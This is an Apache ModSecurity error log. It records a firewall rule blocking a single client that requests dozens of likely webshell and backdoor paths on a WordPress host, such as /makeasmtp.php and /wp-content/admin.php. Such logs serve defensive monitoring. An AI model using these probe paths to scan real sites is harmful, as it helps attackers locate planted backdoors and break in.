[Sat Apr 25 18:21:40.970011 2026] [:error] [pid 16106:tid 16129] [client 4.232.187.202:6857] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVtCGjdEsrWF7e-7MWxgAAAFM"]
[Sat Apr 25 18:21:41.467285 2026] [:error] [pid 16108:tid 16177] [client 4.232.187.202:6949] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sbhu.php"] [unique_id "aeyVtYbPF4HSQDj6WrlZgQAAAMs"]
[Sat Apr 25 18:21:41.932904 2026] [:error] [pid 16108:tid 16186] [client 4.232.187.202:6985] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVtYbPF4HSQDj6WrlZhAAAANQ"]
[Sat Apr 25 18:21:42.397964 2026] [:error] [pid 16195:tid 16208] [client 4.232.187.202:6998] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVtjVPLvrpvXaNQOkHfAAAAAo"]
[Sat Apr 25 18:21:42.870766 2026] [:error] [pid 16195:tid 16217] [client 4.232.187.202:7001] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVtjVPLvrpvXaNQOkHgwAAABM"]
[Sat Apr 25 18:21:43.335291 2026] [:error] [pid 16195:tid 16218] [client 4.232.187.202:6941] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-blog.php"] [unique_id "aeyVtzVPLvrpvXaNQOkHiQAAABQ"]
[Sat Apr 25 18:21:43.801026 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:6982] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVtzVPLvrpvXaNQOkHkQAAABg"]
[Sat Apr 25 18:21:44.267474 2026] [:error] [pid 16195:tid 16221] [client 4.232.187.202:6921] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVuDVPLvrpvXaNQOkHlAAAABc"]
[Sat Apr 25 18:21:44.765076 2026] [:error] [pid 16107:tid 16137] [client 4.232.187.202:6871] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVuNIfF7Hy3tw0sYRgGQAAAIA"]
[Sat Apr 25 18:21:45.293346 2026] [:error] [pid 16107:tid 16149] [client 4.232.187.202:6995] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/js/jquery/"] [unique_id "aeyVudIfF7Hy3tw0sYRgGgAAAIw"]
[Sat Apr 25 18:21:45.789070 2026] [:error] [pid 16107:tid 16148] [client 4.232.187.202:6914] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVudIfF7Hy3tw0sYRgHAAAAIs"]
[Sat Apr 25 18:21:46.284374 2026] [:error] [pid 16108:tid 16168] [client 4.232.187.202:7103] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVuobPF4HSQDj6WrlZkgAAAMQ"]
[Sat Apr 25 18:21:46.809860 2026] [:error] [pid 16195:tid 16199] [client 4.232.187.202:7022] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVujVPLvrpvXaNQOkHpwAAAAE"]
[Sat Apr 25 18:21:47.306702 2026] [:error] [pid 16106:tid 16114] [client 4.232.187.202:6947] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aeyVuyGjdEsrWF7e-7MWzQAAAEQ"]
[Sat Apr 25 18:21:47.803016 2026] [:error] [pid 16107:tid 16157] [client 4.232.187.202:6971] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVu9IfF7Hy3tw0sYRgIAAAAJQ"]
[Sat Apr 25 18:21:48.328236 2026] [:error] [pid 16107:tid 16139] [client 4.232.187.202:7039] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVvNIfF7Hy3tw0sYRgIQAAAII"]
[Sat Apr 25 18:21:48.825900 2026] [:error] [pid 16106:tid 16127] [client 4.232.187.202:6915] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVvCGjdEsrWF7e-7MW1gAAAFE"]
[Sat Apr 25 18:21:49.321205 2026] [:error] [pid 16108:tid 16173] [client 4.232.187.202:7018] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVvYbPF4HSQDj6WrlZmQAAAMc"]
[Sat Apr 25 18:21:49.816371 2026] [:error] [pid 16106:tid 16113] [client 4.232.187.202:6933] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVvSGjdEsrWF7e-7MW3AAAAEM"]
[Sat Apr 25 18:21:50.286812 2026] [:error] [pid 16107:tid 16141] [client 4.232.187.202:6975] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVvtIfF7Hy3tw0sYRgJwAAAIQ"]
[Sat Apr 25 18:21:50.753647 2026] [:error] [pid 16107:tid 16146] [client 4.232.187.202:6862] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVvtIfF7Hy3tw0sYRgKgAAAIk"]
[Sat Apr 25 18:21:51.251573 2026] [:error] [pid 16195:tid 16211] [client 4.232.187.202:6875] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adminfuns.php"] [unique_id "aeyVvzVPLvrpvXaNQOkHswAAAA0"]
[Sat Apr 25 18:21:51.778694 2026] [:error] [pid 16195:tid 16198] [client 4.232.187.202:6864] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVvzVPLvrpvXaNQOkHtwAAAAA"]
[Sat Apr 25 18:21:52.295157 2026] [:error] [pid 16108:tid 16189] [client 4.232.187.202:6954] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVwIbPF4HSQDj6WrlZtwAAANc"]
[Sat Apr 25 18:21:52.795626 2026] [:error] [pid 16107:tid 16157] [client 4.232.187.202:6952] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVwNIfF7Hy3tw0sYRgKwAAAJQ"]
[Sat Apr 25 18:21:53.293674 2026] [:error] [pid 16108:tid 16165] [client 4.232.187.202:6924] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "aeyVwYbPF4HSQDj6WrlZwwAAAME"]
[Sat Apr 25 18:21:53.788308 2026] [:error] [pid 16106:tid 16124] [client 4.232.187.202:7002] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVwSGjdEsrWF7e-7MW6wAAAE4"]
[Sat Apr 25 18:21:54.291440 2026] [:error] [pid 16195:tid 16211] [client 4.232.187.202:7028] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVwjVPLvrpvXaNQOkHwQAAAA0"]
[Sat Apr 25 18:21:54.762440 2026] [:error] [pid 16106:tid 16125] [client 4.232.187.202:6890] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVwiGjdEsrWF7e-7MW9gAAAE8"]
[Sat Apr 25 18:21:55.263069 2026] [:error] [pid 16106:tid 16131] [client 4.232.187.202:7009] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aeyVwyGjdEsrWF7e-7MXAwAAAFU"]
[Sat Apr 25 18:21:55.760725 2026] [:error] [pid 16106:tid 16119] [client 4.232.187.202:6876] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVwyGjdEsrWF7e-7MXEAAAAEk"]
[Sat Apr 25 18:21:56.262085 2026] [:error] [pid 16106:tid 16133] [client 4.232.187.202:7131] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVxCGjdEsrWF7e-7MXGQAAAFc"]
[Sat Apr 25 18:21:56.796013 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:6958] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVxIbPF4HSQDj6WrlZzQAAANA"]
[Sat Apr 25 18:21:57.293805 2026] [:error] [pid 16195:tid 16213] [client 4.232.187.202:6912] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cgi-bin/index.php"] [unique_id "aeyVxTVPLvrpvXaNQOkH7wAAAA8"]
[Sat Apr 25 18:21:57.764017 2026] [:error] [pid 16108:tid 16181] [client 4.232.187.202:6966] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVxYbPF4HSQDj6WrlZ0wAAAM8"]
[Sat Apr 25 18:21:58.270804 2026] [:error] [pid 16108:tid 16182] [client 4.232.187.202:7033] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVxobPF4HSQDj6WrlZ2AAAANA"]
[Sat Apr 25 18:21:58.771158 2026] [:error] [pid 16106:tid 16120] [client 4.232.187.202:6953] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVxiGjdEsrWF7e-7MXQwAAAEo"]
[Sat Apr 25 18:21:59.236592 2026] [:error] [pid 16108:tid 16188] [client 4.232.187.202:6973] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fff.php"] [unique_id "aeyVx4bPF4HSQDj6WrlZ3wAAANY"]
[Sat Apr 25 18:21:59.742405 2026] [:error] [pid 16107:tid 16144] [client 4.232.187.202:6889] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVx9IfF7Hy3tw0sYRgWAAAAIc"]
[Sat Apr 25 18:22:00.239424 2026] [:error] [pid 16195:tid 16207] [client 4.232.187.202:6994] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVyDVPLvrpvXaNQOkIGgAAAAk"]
[Sat Apr 25 18:22:00.743200 2026] [:error] [pid 16107:tid 16140] [client 4.232.187.202:6950] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVyNIfF7Hy3tw0sYRgXAAAAIM"]
[Sat Apr 25 18:22:01.246462 2026] [:error] [pid 16108:tid 16183] [client 4.232.187.202:6867] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aeyVyYbPF4HSQDj6WrlZ7gAAANE"]
[Sat Apr 25 18:22:01.754250 2026] [:error] [pid 16108:tid 16185] [client 4.232.187.202:7056] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVyYbPF4HSQDj6WrlZ8gAAANM"]
[Sat Apr 25 18:22:02.283091 2026] [:error] [pid 16107:tid 16151] [client 4.232.187.202:6989] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVytIfF7Hy3tw0sYRgYgAAAI4"]
[Sat Apr 25 18:22:02.816519 2026] [:error] [pid 16107:tid 16145] [client 4.232.187.202:6855] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVytIfF7Hy3tw0sYRgYwAAAIg"]
[Sat Apr 25 18:22:03.345813 2026] [:error] [pid 16108:tid 16186] [client 4.232.187.202:6910] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we.php"] [unique_id "aeyVy4bPF4HSQDj6WrlaAAAAANQ"]
[Sat Apr 25 18:22:03.870926 2026] [:error] [pid 16108:tid 16184] [client 4.232.187.202:6886] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVy4bPF4HSQDj6WrlaBAAAANI"]
[Sat Apr 25 18:22:04.368655 2026] [:error] [pid 16108:tid 16181] [client 4.232.187.202:6997] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVzIbPF4HSQDj6WrlaCQAAAM8"]
[Sat Apr 25 18:22:04.862905 2026] [:error] [pid 16195:tid 16202] [client 4.232.187.202:6937] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVzDVPLvrpvXaNQOkIJAAAAAQ"]
[Sat Apr 25 18:22:05.331495 2026] [:error] [pid 16195:tid 16222] [client 4.232.187.202:7058] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/makeasmtp.php"] [unique_id "aeyVzTVPLvrpvXaNQOkIKAAAABg"]
[Sat Apr 25 18:22:05.802193 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:6913] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVzTVPLvrpvXaNQOkIKgAAAAI"]
[Sat Apr 25 18:22:06.302208 2026] [:error] [pid 16195:tid 16201] [client 4.232.187.202:6852] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVzjVPLvrpvXaNQOkILQAAAAM"]
[Sat Apr 25 18:22:06.809580 2026] [:error] [pid 16195:tid 16221] [client 4.232.187.202:6850] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVzjVPLvrpvXaNQOkIPQAAABc"]
[Sat Apr 25 18:22:07.305349 2026] [:error] [pid 16108:tid 16187] [client 4.232.187.202:6848] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin1.php"] [unique_id "aeyVz4bPF4HSQDj6WrlaMgAAANU"]
[Sat Apr 25 18:22:07.801695 2026] [:error] [pid 16195:tid 16200] [client 4.232.187.202:6851] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyVzzVPLvrpvXaNQOkIUwAAAAI"]
[Sat Apr 25 18:22:08.298230 2026] [:error] [pid 16107:tid 16156] [client 4.232.187.202:6869] [client 4.232.187.202] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/css/dist/"] [unique_id "aeyV0NIfF7Hy3tw0sYRghAAAAJM"]
